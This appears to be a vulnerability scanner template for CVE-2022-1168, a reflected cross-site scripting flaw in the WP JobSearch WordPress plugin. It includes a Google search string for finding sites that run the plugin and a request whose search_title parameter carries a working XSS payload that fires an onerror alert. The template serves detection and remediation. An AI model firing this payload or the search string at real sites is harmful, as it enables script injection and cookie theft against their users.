id: CVE-2022-1168 info: name: WordPress WP JobSearch <1.5.1 - Cross-Site Scripting author: Akincibor severity: medium description: | WordPress WP JobSearch plugin prior to 1.5.1 contains a cross-site scripting vulnerability. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Update to the latest version of the WP JobSearch plugin (1.5.1 or higher) to mitigate the XSS vulnerability. reference: - https://wpscan.com/vulnerability/bcf38e87-011e-4540-8bfb-c93443a4a490 - https://codecanyon.net/item/jobsearch-wp-job-board-wordpress-plugin/21066856 - https://nvd.nist.gov/vuln/detail/CVE-2022-1168 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-1168 cwe-id: CWE-79 epss-score: 0.001 epss-percentile: 0.41001 cpe: cpe:2.3:a:eyecix:jobsearch_wp_job_board:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: eyecix product: jobsearch_wp_job_board framework: wordpress google-query: inurl:"wp-content/plugins/wp-jobsearch" tags: wp-jobsearch",wpscan,cve,cve2022,wp-plugin,wp,wordpress,xss http: - method: GET path: - '{{BaseURL}}/plugins/jobsearch/?search_title=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28domain%29%3E&ajax_filter=true&posted=all&sort-by=recent' matchers-condition: and matchers: - type: word part: body words: - "" - "wp-jobsearch" condition: and - type: word part: header words: - "text/html" - type: status status: - 404 # digest: 4b0a00483046022100c14dd85f9652c89c348cd37d0c6b41978084ca82826a62b1ca2d054264afff6a022100bdf235f4b307174717c701adb4723e557f86fd335ae34d91c76eee117c1ff950:922c64590222798bb761d5b6d8e72950